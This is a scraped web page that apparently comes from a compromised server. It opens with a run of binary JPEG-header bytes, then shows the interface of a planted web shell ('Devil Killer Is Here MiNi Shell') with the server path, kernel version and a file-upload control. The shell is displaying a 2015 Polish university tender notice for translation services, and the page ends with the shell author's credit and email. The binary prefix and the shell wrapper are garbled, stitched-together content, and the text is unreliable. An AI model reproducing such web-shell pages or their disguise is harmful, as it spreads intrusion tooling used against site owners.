JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20151217/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20151217/346110-N-2015.html

<p class="kh_header"><b>Olsztyn: Kompleksowa obsługa tłumaczeniowa Uniwersytetu Warmińsko-Mazurskiego w Olsztynie</b><br>
<b>Numer ogłoszenia: 346110 - 2015; data zamieszczenia: 17.12.2015</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b>
<!--zamówienia publicznego.</p>-->
<table class="text2">
<tr><td style="border: solid 1px; width:15px black; text-align: center;"><b>V</b></td>
<td>zamówienia publicznego</td></tr>
<tr><td style="border: solid 1px; width:15px black; text-align: center;"></td>
<td>zawarcia umowy ramowej</td></tr>
<tr><td style="border: solid 1px; width:15px black; text-align: center;"></td>
<td>ustanowienia dynamicznego systemu zakupów (DSZ)</td></tr>
</table>


<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Uniwersytet Warmińsko-Mazurski w Olsztynie , ul. Oczapowskiego 2, 10-719 Olsztyn, woj. warmińsko-mazurskie, tel. 089 5233420, faks (089) 5233278.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.uwm.edu.pl/zamowienia</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Uczelnia publiczna.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Kompleksowa obsługa tłumaczeniowa Uniwersytetu Warmińsko-Mazurskiego w Olsztynie.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.4) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> 1.Przedmiotem niniejszego zamówienia jest kompleksowa obsługa tłumaczeniowa Uniwersytetu Warmińsko-Mazurskiego w Olsztynie.
2.Szczegółowe określenie przedmiotu zamówienia zawarte jest w dokumencie Opis przedmiotu zamówienia, który jest załącznikiem nr 1 do SIWZ.
3.Usługa będąca przedmiotem zamówienia obejmuje tłumaczenia z języka obcego na język polski i/lub z języka polskiego na język obcy (wraz z weryfikacją) oraz weryfikacje obcojęzycznych tekstów przez native speakera i tłumacza, w zależności od potrzeb zleceniodawcy.
5.	Tłumaczenia dotyczą języków podzielonych na 3 grupy:
a)	grupa A: angielski 
b)	grupa B: niemiecki, rosyjski 
c)	grupa C: francuski, hiszpański, włoski 
4. Przez poszczególne rodzaje tłumaczeń Zamawiający rozumie:
a)	tłumaczenie standardowe (wraz z weryfikacją) - tłumaczenie nie przysięgłe z języka polskiego na język obcy lub z języka obcego na język polski, dokonywane przez zwykłych tłumaczy. Efektem tłumaczenia ma być ostateczna wersja tekstu, gotowa do wysłania Zamawiającemu i niewymagająca poprawek językowych.
b)	tłumaczenie przysięgłe (wraz z weryfikacją)  - tłumaczenie dokonane przez tłumacza przysięgłego, zgodnie z postanowieniami ustawy o zawodzie tłumacza przysięgłego. Efektem tłumaczenia ma być ostateczna wersja tekstu, gotowa do wysłania Zamawiającemu i niewymagająca poprawek językowych.
c)	weryfikacja tekstu obcojęzycznego przez native speakera (osobę, dla której język obcy jest językiem ojczystym). Weryfikacja językowa dotyczy sprawdzenia poprawności językowej dokumentu napisanego przez autorów w języku obcym, pod względem korekty gramatycznej, fleksyjnej, stylistycznej itp., a także ujednolicenia stosowanej terminologii (konsekwentne stosowanie tych samych terminów, nazw, wyrażeń). 
d)	weryfikacja tekstu obcojęzycznego przez tłumacza. Weryfikacja językowa dotyczy sprawdzenia poprawności językowej dokumentu napisanego przez autorów w języku obcym, pod względem korekty gramatycznej, fleksyjnej, stylistycznej itp., a także ujednolicenia stosowanej terminologii (konsekwentne stosowanie tych samych terminów, nazw, wyrażeń). 
10.	Wykonawca będzie dokonywał tłumaczeń lub weryfikacji tekstów w dwóch odmianach języka angielskiego tj. (AmE) Amerykański i (BrE) Brytyjski w zależności od potrzeb zleceniodawcy..</p>
<p><b>II.1.5)
<table class="text2">
<tr><td style="border: solid 1px black; width:15px; text-align: center;"><b>&nbsp;</b></td>
<td><b>przewiduje się udzielenie zamówień uzupełniających</b></td></tr>
</table>                            
</b></p>
<ul class="kh_indent_1"><li><b>Określenie przedmiotu oraz wielkości lub zakresu zamówień uzupełniających</b></li>
<li></li></ul>

<p><b>II.1.6) Wspólny Słownik Zamówień (CPV):</b> 79.53.00.00-8.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty częściowej:</b> tak, liczba części: 3.</p>
<p><b>II.1.8) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Okres w miesiącach: 12.</p>
<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> Zamawiający nie wymaga wniesienia wadium</p>
<p><b>III.2) ZALICZKI</b></p>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>1.W zakresie warunku dotyczącego posiadania wiedzy i doświadczenia Wykonawca wykaże, że w okresie ostatnich 3 lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, wykonał:

W zakresie części nr 1.
1.1.	minimum po 2 weryfikacje angielskojęzycznych tekstów naukowych lub tłumaczeń pisemnych tekstów naukowych z języka polskiego na język angielski z zakresu każdej z nauk wskazanych w rozdziale III pkt. 7 ppkt. 7.1. a) oraz 7.1. b), udokumentowanych w postaci publikacji w czasopismach naukowych punktowanych przez Ministerstwo Nauki i Szkolnictwa Wyższego (lista B), listy ERIH lub listy ERIH +, opublikowanych w formie wydrukowanej lub elektronicznej.
1.2.	tłumaczenia pisemne tekstów naukowych z/lub na język angielski z zakresu nauk wskazanych w rozdziale III pkt. 7 ppkt. 7.1. a) oraz 7.1. b) niniejszej specyfikacji obejmujące łącznie minimum 150 przetłumaczonych stron. Za jedną stronę tekstu tłumaczenia uznaje się stronę zawierającą 1800 znaków (łącznie ze spacjami) zliczonych w dokumencie przetłumaczonym.

W zakresie części nr 2.
1.3.	minimum po 5 weryfikacji angielskojęzycznych tekstów naukowych lub tłumaczeń pisemnych tekstów naukowych z języka polskiego na język angielski z zakresu co najmniej czterech z ośmiu grup dyscyplin wskazanych w rozdziale III pkt. 7 ppkt. 7.2. od a) do h) niniejszej specyfikacji, udokumentowanych w postaci publikacji w czasopismach naukowych z listy JCR opublikowanych w formie wydrukowanej lub elektronicznej z czego co najmniej 2 teksty naukowe z każdej dziedziny uzyskały minimum 25 pkt wg listy Ministerstwa Nauki i Szkolnictwa Wyższego (obowiązującej na dzień ogłoszenia niniejszego postepowania przetargowego).
1.4.	tłumaczenia pisemne tekstów naukowych z/lub na język angielski z zakresu nauk wskazanych w rozdziale III pkt. 7 ppkt. 7.2. od a) do h) niniejszej specyfikacji obejmujące łącznie minimum 300 przetłumaczonych stron. Za jedną stronę tekstu tłumaczenia uznaje się stronę zawierającą 1800 znaków (łącznie ze spacjami) zliczonych w dokumencie przetłumaczonym.

W zakresie części nr 3.
1.5.	minimum po 2 weryfikacje angielskojęzycznych tekstów naukowych lub tłumaczeń pisemnych tekstów naukowych z języka polskiego na język angielski z zakresu każdej z nauk wskazanych w rozdziale III pkt. 7 ppkt. 7.3. a) i b) niniejszej specyfikacji, udokumentowanych w postaci publikacji w czasopismach naukowych z listy JCR opublikowanych w formie wydrukowanej lub elektronicznej z czego co najmniej 2 teksty naukowe z każdej dziedziny uzyskały minimum 25 pkt wg listy Ministerstwa Nauki i Szkolnictwa Wyższego (obowiązującej na dzień ogłoszenia niniejszego postepowania przetargowego).
1.6.	tłumaczenia pisemne tekstów naukowych z/lub na język angielski z zakresu nauk wskazanych w rozdziale III pkt. 7 ppkt. 7.3. a) i b) niniejszej specyfikacji obejmujące łącznie minimum 150 przetłumaczonych stron. Za jedną stronę tekstu tłumaczenia uznaje się stronę zawierającą 1800 znaków (łącznie ze spacjami) zliczonych w dokumencie przetłumaczonym.
Zamawiający dokona oceny spełnienia warunków udziału w postępowaniu na podstawie dokumentów i oświadczeń, o których mowa w rozdz. VI SIWZ wg formuły spełnia - nie spełnia.</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>1.W zakresie warunku dysponowania osobami zdolnymi do wykonania zamówienia Wykonawca wykaże, że dysponuje osobami, które będą uczestniczyć w wykonywaniu zamówienia, w szczególności odpowiedzialnymi za świadczenie usług, tj.:
1.1.	minimum jedną osobą wykonującą zawód tłumacza przysięgłego języka angielskiego, spełniającą wymogi określone ustawą z dnia 25 listopada 2004 r. o zawodzie tłumacza przysięgłego (Dz. U. z 2004 r., Nr 273, poz. 2702),
1.2.	minimum dwóch tłumaczy języka angielskiego każdy spełniający poniższe wymagania:
posiada tytuł magistra filologii angielskiej lub lingwistyki stosowanej (język wiodący - język angielski), lub kwalifikacje językowe poświadczone dokumentem stwierdzającym znajomość języka angielskiego na poziomie C2 zgodnie ze skalą biegłości językowej według Rady Europy (certyfikat uzyskany poprzez pozytywny wynik egzaminu językowego CPE - Certificate of Proficiency in English),oraz 
dokonywał weryfikacji angielskojęzycznych tekstów naukowych lub tłumaczeń tekstów naukowych z języka polskiego na język angielski:
- w zakresie części nr 1:  minimum po 2 tłumaczenia/weryfikacje z zakresu każdej z nauk wskazanych w rozdziale III pkt. 7 ppkt. 7.1. od a) do b) niniejszej specyfikacji,
- w zakresie części nr 2: minimum po 2 tłumaczenia/weryfikacje z zakresu nauk (minimum 4-ch różnych) wskazanych w rozdziale III pkt. 7 ppkt. 7.2. od a) do h)  niniejszej specyfikacji,
- w zakresie części nr 3: minimum po 2 tłumaczenia/weryfikacje z zakresu każdej z nauk wskazanych w rozdziale III pkt. 7 ppkt. 7.3. od a) do b) niniejszej specyfikacji,
o łącznej liczbie stron przetłumaczonych nie mniejszej niż 150 (dotyczy każdej części). Każdy przetłumaczony tekst naukowy został opublikowany w formie wydrukowanej lub elektronicznej w czasopiśmie naukowym: 
- w zakresie części nr 1 -  punktowanych przez Ministerstwo Nauki i Szkolnictwa Wyższego (lista B), listy ERIH lub listy ERIH +,
- w zakresie części nr 2 - listy JCR,
- w zakresie części nr 3 - listy JCR,
w okresie ostatnich 3 lat przed upływem terminu składania ofert. 
1.3.	minimum jedną osobą będącą native speakerem języka angielskiego posiadającą minimum 3-letnie doświadczenie w zakresie weryfikowania tekstów naukowych w języku angielskim, w okresie ostatnich 3 lat przed upływem terminu składania ofert.
Zamawiający dokona oceny spełnienia warunków udziału w postępowaniu na podstawie dokumentów i oświadczeń, o których mowa w rozdz. VI SIWZ wg formuły spełnia - nie spełnia.</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnianiu warunków udziału w postępowaniu należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">wykaz wykonanych, a w przypadku świadczeń okresowych lub ciągłych również wykonywanych, głównych dostaw lub usług, w okresie ostatnich trzech lat przed upływem terminu składania ofert albo wniosków o dopuszczenie do udziału w postępowaniu, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, wraz z podaniem ich wartości, przedmiotu, dat wykonania i podmiotów, na rzecz których dostawy lub usługi zostały wykonane, oraz załączeniem dowodów, czy zostały wykonane lub są wykonywane należycie;</li>

<li  style="margin-bottom: 12px;">wykaz osób, które będą uczestniczyć w wykonywaniu zamówienia, w szczególności odpowiedzialnych za świadczenie usług, kontrolę jakości lub kierowanie robotami budowlanymi, wraz z informacjami na temat ich kwalifikacji zawodowych, doświadczenia i wykształcenia niezbędnych do wykonania zamówienia, a także zakresu wykonywanych przez nie czynności, oraz informacją o podstawie do dysponowania tymi osobami;</li>

</ul>
<p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia;</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru lub z centralnej ewidencji i informacji o działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu do rejestru lub ewidencji, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul>

<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul><p class="bold">III.4.4)  Dokumenty dotyczące przynależności do tej samej grupy kapitałowej</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">			
<li style="margin-bottom: 12px;">lista podmiotów należących do tej samej grupy kapitałowej w rozumieniu ustawy z dnia 16 lutego 2007 r. o ochronie konkurencji i konsumentów albo informacji o tym, że nie należy do grupy kapitałowej;</li>

</ul><p><b>III.6) INNE DOKUMENTY</b></p>
<p class="bold">Inne dokumenty niewymienione w pkt III.4) albo w pkt III.5)</p>
<p>1.	W przypadku wspólnego ubiegania się o udzielenie zamówienia przez Wykonawców występujących wspólnie - pełnomocnictwo do reprezentowania w postępowaniu o udzielenie zamówienia publicznego albo reprezentowania w postępowaniu i zawarcia umowy w sprawie zamówienia publicznego w formie oryginału lub kopii poświadczonej notarialnie.
2.	Podpisany Opis przedmiotu zamówienia (sporządzony zgodnie z Załącznikiem nr 1 do SIWZ).
3.	Wypełniony i podpisany formularz cenowy (sporządzony zgodnie z Załącznikiem nr 2 do SIWZ).
4.	Wypełniony i podpisany formularz oferty (sporządzony zgodnie z Załącznikiem nr 3 do SIWZ).
5.	W przypadku przynależności przez Wykonawcę do grupy kapitałowej Zamawiający wymaga złożenia listy podmiotów należących do tej samej grupy kapitałowej, o której mowa w art. 24 ust. 2 pkt. 5 ustawy Pzp. 
6.	W przypadku korzystania z zasobów innego podmiotu - zobowiązanie do oddania do dyspozycji Wykonawcy niezbędnych zasobów o których mowa w art. 26 ust. 2b Pzp na okres korzystania z nich przy wykonywaniu zamówienia (sporządzony zgodnie z załącznikiem nr 10 do SIWZ).</p>

<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>cena oraz inne kryteria związane z przedmiotem zamówienia:</p><ul class="kh_indent_1">
<li>1 - Cena - 50</li>
<li>2 - Doświadczenie - 50</li>
</ul>
<p><b>IV.2.2)</b>
<table class="text2">
<tr><td style="border: solid 1px black; width:15px; text-align: center;"><b>&nbsp;</b></td>
    <td><b>przeprowadzona będzie aukcja elektroniczna,</b> adres strony, na której będzie prowadzona: </td></tr>
</table>                            
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b></p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>1.Dopuszcza się zmianę postanowień zawartej umowy w stosunku do treści oferty na podstawie, której dokonano wyboru Wykonawcy, jeżeli zmiany dotyczą:
1.1.	tłumaczy lub weryfikatorów uczestniczących w wykonywaniu zamówienia (wskazanych w wykazie osób). Zmiana którejkolwiek z tych osób musi być uzasadniona przez Wykonawcę na piśmie i zaakceptowana przez Zamawiającego. Zmiana taka możliwa jest tylko i wyłącznie na osoby posiadające kwalifikacje i doświadczenie nie gorsze od wymaganych przez Zamawiającego w SIWZ,
1.2.	terminu realizacji umowy, ze względu na wystąpienie okoliczności niedających się przewidzieć przed zawarciem umowy, np. działanie siły wyższej, jeżeli okoliczność ta nie była zależna od Wykonawcy.</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> www.uwm.edu.pl/zamowienia<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> UNIWERSYTET WARMIŃSKO - MAZURSKI W OLSZTYNIE,
DZIAŁ ZAMÓWIEŃ PUBLICZNYCH,
ul. Oczapowskiego 2, pok. 312,10 - 719 Olsztyn.</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 29.12.2015 godzina 10:00, miejsce: UNIWERSYTET WARMIŃSKO - MAZURSKI W OLSZTYNIE,
DZIAŁ ZAMÓWIEŃ PUBLICZNYCH,
ul. Oczapowskiego 2, pok. 312,10 - 719 Olsztyn.</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>





<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>
<p class="text kh_title">ZAŁĄCZNIK I - INFORMACJE DOTYCZĄCE OFERT CZĘŚCIOWYCH</p>
<p><b>CZĘŚĆ Nr:</b> 1 <b>NAZWA:</b> Nauki humanistyczne, społeczne i z zakresu administracji publicznej.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Część nr 1 - kompleksowa obsługa tłumaczeniowa tekstów z zakresu:
a)	obszaru nauk humanistycznych i społecznych 
b)	dokumentów z zakresu administracji publicznej (m.in. dokumenty administracyjne, prawne, dokumentacja przetargowa, kontrakty, dokumentacja ustawodawcza, pisma urzędowe, wszelkiego rodzaju umowy, dokumenty finansowe, dokumenty księgowe).
(wraz z dokumentami administracyjnymi m.in. związanymi z obsługą grantów).
Szczegółowe określenie przedmiotu zamówienia zawarte jest w dokumencie Opis przedmiotu zamówienia, który jest załącznikiem nr 1 do SIWZ.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 79.53.00.00-8.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 12.</li><li><p><b>4) Kryteria oceny ofert: </b>cena oraz inne kryteria związane z przedmiotem zamówienia:</p>
<ul class="kh_indent_1">
<li>1. Cena - 50</li>
<li>2. Doświadczenie Wykonawcy - 50</li>
</ul>
</li>
</ul><br>
<p><b>CZĘŚĆ Nr:</b> 2 <b>NAZWA:</b> Nauki ścisłe i techniczne.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 7.2.	Część nr 2 - kompleksowa obsługa tłumaczeniowa tekstów z zakresu: obszaru nauk  
     ścisłych i technicznych, w tym:
a)	budownictwo, geodezja z kartografią i inżynieria przestrzenna;
b)	chemia i fizyka;
c)	energetyka, elektrotechnika i elektronika;
d)	inżynieria chemiczna i technologia chemiczna;
e)	inżynieria materiałowa i metalurgia;
f)	inżynieria środowiska i ochrona środowiska;
g)	matematyka i informatyka;
h)	mechanika, budowa i eksploatacja maszyn.
(wraz z dokumentami administracyjnymi m.in. związanymi z obsługą grantów).
Szczegółowe określenie przedmiotu zamówienia zawarte jest w dokumencie Opis przedmiotu zamówienia, który jest załącznikiem nr 1 do SIWZ.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 79.53.00.00-8.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 12.</li><li><p><b>4) Kryteria oceny ofert: </b>cena oraz inne kryteria związane z przedmiotem zamówienia:</p>
<ul class="kh_indent_1">
<li>1. Cena - 50</li>
<li>2. Doświadczenie Wykonawcy - 50</li>
</ul>
</li>
</ul><br>
<p><b>CZĘŚĆ Nr:</b> 3 <b>NAZWA:</b> Nauki medyczne, o zdrowiu i kulturze fizycznej.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Część nr 3 - kompleksowa obsługa tłumaczeniowa tekstów z zakresu:
a)	obszaru nauk medycznych 
b)	nauk o zdrowiu oraz nauk o kulturze fizycznej
(wraz z dokumentami administracyjnymi m.in. związanymi z obsługą grantów).
Szczegółowe określenie przedmiotu zamówienia zawarte jest w dokumencie Opis przedmiotu zamówienia, który jest załącznikiem nr 1 do SIWZ.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 79.53.00.00-8.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 12.</li><li><p><b>4) Kryteria oceny ofert: </b>cena oraz inne kryteria związane z przedmiotem zamówienia:</p>
<ul class="kh_indent_1">
<li>1. Cena - 50</li>
<li>2. Doświadczenie Wykonawcy - 50</li>
</ul>
</li>
</ul><br>

Creat By MiNi SheLL
Email: jattceo@gmail.com